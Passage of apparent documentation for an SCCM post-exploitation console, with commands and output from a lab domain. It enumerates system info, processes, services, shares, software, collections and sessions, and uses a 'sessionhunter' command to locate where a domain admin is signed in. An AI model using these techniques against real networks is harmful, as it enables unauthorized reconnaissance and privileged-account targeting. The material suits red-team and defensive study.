| C:\Recovery | d--hs- | 2024-01-27 21:59:42 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\SCCMContentLib | d----- | 2024-02-07 06:00:41 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\SMSPKGC$ | d----- | 2024-02-07 06:00:46 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\SMSSIG$ | d----- | 2024-02-07 06:00:50 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\SMS_DP$ | d----- | 2024-02-07 06:00:57 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\System Volume Information | d--hs- | 2024-01-27 05:50:36 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\Users | d-r--- | 2024-01-27 06:07:15 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
| C:\Windows | d----- | 2024-02-07 06:00:30 | 1 | DP |
+------------------------------+--------+---------------------+--------+----------+
(16777221) (C:\) >>
Query operating system and architecture info for the interactive device
(16777221) (C:\) >> osinfo
[19:45:22] INFO Tasked SCCM to show system info of 16777221.
[19:45:25] INFO Got OperationId 16779673. Sleeping 10 seconds to wait for host to call home.
[19:45:35] INFO +---------------------------------------------------+------------+------------------+----------+
| Caption | Version | OSArchitecture | Device |
+===================================================+============+==================+==========+
| Microsoft Windows Server 2022 Standard Evaluation | 10.0.20348 | 64-bit | DP |
+---------------------------------------------------+------------+------------------+----------+
List current running processes for the interactive device
ps
(16777221) (C:\) >> ps
[19:45:52] INFO Tasked SCCM to list processes.
[19:45:53] INFO Got OperationId 16779674. Sleeping 10 seconds to wait for host to call home.
[19:46:04] INFO No results yet, sleeping 10 seconds.
[19:46:16] INFO +---------------------+-------------+---------------------+------------------+---------------+----------+
| Name | ProcessId | CreationDate | WorkingSetSize | HandleCount | Device |
+=====================+=============+=====================+==================+===============+==========+
| System Idle Process | 0 | 2024-01-30 02:48:49 | 8192 | 0 | DP |
+---------------------+-------------+---------------------+------------------+---------------+----------+
| System | 4 | 2024-01-30 02:48:49 | 151552 | 1420 | DP |
+---------------------+-------------+---------------------+------------------+---------------+----------+
| Registry | 100 | 2024-01-30 02:48:43 | 75931648 | 0 | DP |
+---------------------+-------------+---------------------+------------------+---------------+----------+
| smss.exe | 300 | 2024-01-30 02:48:49 | 1298432 | 57 | DP |
+---------------------+-------------+---------------------+------------------+---------------+----------+
| csrss.exe | 408 | 2024-01-30 02:48:50 | 6266880 | 385 | DP |
+---------------------+-------------+---------------------+------------------+---------------+----------+
| csrss.exe | 504 | 2024-01-30 02:48:50 | 5976064 | 166 | DP |
+---------------------+-------------+---------------------+------------------+---------------+----------+
| wininit.exe | 512 | 2024-01-30 02:48:50 | 7131136 | 152 | DP |
+---------------------+-------------+---------------------+------------------+---------------+----------+
| winlogon.exe | 568 | 2024-01-30 02:48:50 | 10612736 | 200 | DP |
+---------------------+-------------+---------------------+------------------+---------------+----------+
| services.exe | 636 | 2024-01-30 02:48:50 | 12730368 | 394 | DP |
+---------------------+-------------+---------------------+------------------+---------------+----------+
| lsass.exe | 656 | 2024-01-30 02:48:50 | 20844544 | 1136 | DP |
+---------------------+-------------+---------------------+------------------+---------------+----------+
[------snipped for brevity------]
(16777221) (C:\) >>
List current running services on the interactive device
services
(16777221) (C:\) >> services
[19:47:25] INFO Tasked SCCM to list services.
[19:47:27] INFO Got OperationId 16779676. Sleeping 10 seconds to wait for host to call home.
[19:47:38] INFO +------------------------------------------+------------------------------------------------------------------------------------------+-------------+---------------+-----------+----------+
| Name | PathName | ProcessId | ServiceType | Started | Device |
+==========================================+==========================================================================================+=============+===============+===========+==========+
| AJRouter | C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p | 0 | Share Process | False | DP |
+------------------------------------------+------------------------------------------------------------------------------------------+-------------+---------------+-----------+----------+
| ALG | C:\Windows\System32\alg.exe | 0 | Own Process | False | DP |
+------------------------------------------+------------------------------------------------------------------------------------------+-------------+---------------+-----------+----------+
| AppHostSvc | C:\Windows\system32\svchost.exe -k apphost | 1172 | Share Process | True | DP |
+------------------------------------------+------------------------------------------------------------------------------------------+-------------+---------------+-----------+----------+
| AppIDSvc | C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p | 0 | Share Process | False | DP |
+------------------------------------------+------------------------------------------------------------------------------------------+-------------+---------------+-----------+----------+
| Appinfo | C:\Windows\system32\svchost.exe -k netsvcs -p | 0 | Share Process | False | DP |
+------------------------------------------+------------------------------------------------------------------------------------------+-------------+---------------+-----------+----------+
| AppMgmt | C:\Windows\system32\svchost.exe -k netsvcs -p | 0 | Share Process | False | DP |
+------------------------------------------+------------------------------------------------------------------------------------------+-------------+---------------+-----------+----------+
[--------snipped for brevity----------]
(16777221) (C:\) >>
You must interact with a machine or a collection to run this command. Sessionhunter will try to locate any devices where the target user account is signed in.
() (C:\) >> help sessionhunter
usage: sessionhunter [-h] user
positional arguments:
user Target user to find sessions for
options:
-h, --help show this help message and exit
- Find a target collection to interact with.
() (C:\) >> get_collection *
[15:20:40] INFO +----------------+---------------+--------------------------------+
| CollectionID | MemberCount | Name |
+================+===============+================================+
| SMS00001 | 12 | All Systems |
+----------------+---------------+--------------------------------+
| SMS00002 | 7 | All Users |
+----------------+---------------+--------------------------------+
| SMS00003 | 21 | All User Groups |
+----------------+---------------+--------------------------------+
| SMS00004 | 28 | All Users and User Groups |
+----------------+---------------+--------------------------------+
| SMSOTHER | 0 | All Custom Resources |
+----------------+---------------+--------------------------------+
| SMS000US | 2 | All Unknown Computers |
+----------------+---------------+--------------------------------+
| SMS000PS | 1 | All Provisioning Devices |
+----------------+---------------+--------------------------------+
| SMS000KM | 0 | Co-management Eligible Devices |
+----------------+---------------+--------------------------------+
| SMSDM001 | 0 | All Mobile Devices |
+----------------+---------------+--------------------------------+
| SMSDM003 | 8 | All Desktop and Server Clients |
+----------------+---------------+--------------------------------+
| 12300014 | 0 | Crowdstrike Missing |
+----------------+---------------+--------------------------------+
() (C:\) >>
- Interact with chosen CollectionID
() (C:\) >> interact SMS00001
(SMS00001) (C:\) >>
- Find devices where the target account has a current session
(SMS00001) (C:\) >> sessionhunter domainadmin
[15:21:21] INFO Got OperationId 16777411. Sleeping 10 seconds to wait for host to call home.
[15:21:32] INFO No results yet, sleeping 10 seconds.
[15:21:42] INFO No results yet, sleeping 10 seconds.
[15:21:53] INFO
[15:21:53] INFO +----------------------------+-----------+
| UserName | Device |
+============================+===========+
| unsigned-sh0rt\domainadmin | SCCM-MGMT |
+----------------------------+-----------+
[15:21:53] INFO
[15:21:53] INFO +----------------------------+--------------+
| UserName | Device |
+============================+==============+
| unsigned-sh0rt\domainadmin | SCCM-SITESRV |
+----------------------------+--------------+
[15:21:53] INFO +----------------------------+----------+
| UserName | Device |
+============================+==========+
| unsigned-sh0rt\domainadmin | SCCM-SQL |
+----------------------------+----------+
List active sessions on the interactive device
sessions
(16777221) (C:\) >> sessions
[19:50:29] INFO Tasked SCCM to show users currently signed in to 16777221.
[19:50:31] INFO Got OperationId 16779679. Sleeping 10 seconds to wait for host to call home.
[19:50:41] INFO +---------------------+----------+
| UserName | Device |
+=====================+==========+
| DP\DefaultAppPool | DP |
+---------------------+----------+
| DP\IUSR | DP |
+---------------------+----------+
| DP\LOCAL SERVICE | DP |
+---------------------+----------+
| DP\NETWORK SERVICE | DP |
+---------------------+----------+
| LAB\Administrator | DP |
+---------------------+----------+
| NT AUTHORITY\SYSTEM | DP |
+---------------------+----------+
(16777221) (C:\) >>
List all available file shares on the interactive device
shares
(16777221) (C:\) >> shares
[19:51:39] INFO Tasked SCCM to list file shares.
[19:51:41] INFO Got OperationId 16779680. Sleeping 10 seconds to wait for host to call home.
[19:51:52] INFO +-----------------+------------------------------------------------------------------+-------------------+------------+----------------+----------+
| Name | Description | Path | Type | AllowMaximum | Device |
+=================+==================================================================+===================+============+================+==========+
| ADMIN$ | Remote Admin | C:\Windows | 2147483648 | True | DP |
+-----------------+------------------------------------------------------------------+-------------------+------------+----------------+----------+
| C$ | Default share | C:\ | 2147483648 | True | DP |
+-----------------+------------------------------------------------------------------+-------------------+------------+----------------+----------+
| IPC$ | Remote IPC | | 2147483651 | True | DP |
+-----------------+------------------------------------------------------------------+-------------------+------------+----------------+----------+
| SCCMContentLib$ | 'Configuration Manager' Content Library for site LAB (1/27/2024) | C:\SCCMContentLib | 0 | True | DP |
+-----------------+------------------------------------------------------------------+-------------------+------------+----------------+----------+
| SMSPKGC$ | SMS Site LAB DP 1/27/2024 | C:\SMSPKGC$ | 0 | True | DP |
+-----------------+------------------------------------------------------------------+-------------------+------------+----------------+----------+
| SMSSIG$ | SMS Site LAB DP 1/27/2024 | C:\SMSSIG$ | 0 | True | DP |
+-----------------+------------------------------------------------------------------+-------------------+------------+----------------+----------+
| SMS_DP$ | SMS Site LAB DP 1/27/2024 | C:\SMS_DP$ | 0 | True | DP |
+-----------------+------------------------------------------------------------------+-------------------+------------+----------------+----------+
List currently installed software on the interactive device
software
(16777221) (C:\) >> software
[19:52:10] INFO Tasked SCCM to list software installed 16777221.
[19:52:12] INFO Got OperationId 16779681. Sleeping 10 seconds to wait for host to call home.
[19:52:23] INFO +--------------------------------------------------------------------+-----------------------+------------------+----------+
| ProductName | Publisher | ProductVersion | Device |
+====================================================================+=======================+==================+==========+
| VMware Tools | VMware, Inc. | 12.0.0.19345655 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Microsoft Visual C++ 2019 X64 Additional Runtime - 14.29.30133 | Microsoft Corporation | 14.29.30133 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.29.30133 | Microsoft Corporation | 14.29.30133 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Microsoft Visual C++ 2019 X86 Additional Runtime - 14.29.30133 | Microsoft Corporation | 14.29.30133 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Microsoft Policy Platform | Microsoft Corporation | 68.1.9086.1017 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.29.30133 | Microsoft Corporation | 14.29.30133 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Configuration Manager Client | Microsoft Corporation | 5.00.9106.1000 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Microsoft Edge | Microsoft Corporation | 121.0.2277.106 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Microsoft Edge Update | | 1.3.183.29 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Microsoft Visual C++ 2015-2019 Redistributable (x64) - 14.29.30133 | Microsoft Corporation | 14.29.30133.0 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Microsoft Visual C++ 2015-2019 Redistributable (x86) - 14.29.30133 | Microsoft Corporation | 14.29.30133.0 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
| Microsoft Windows Server 2022 Standard Evaluation | Microsoft Corporation | 10.0.20348 | DP |
+--------------------------------------------------------------------+-----------------------+------------------+----------+
(16777221) (C:\) >>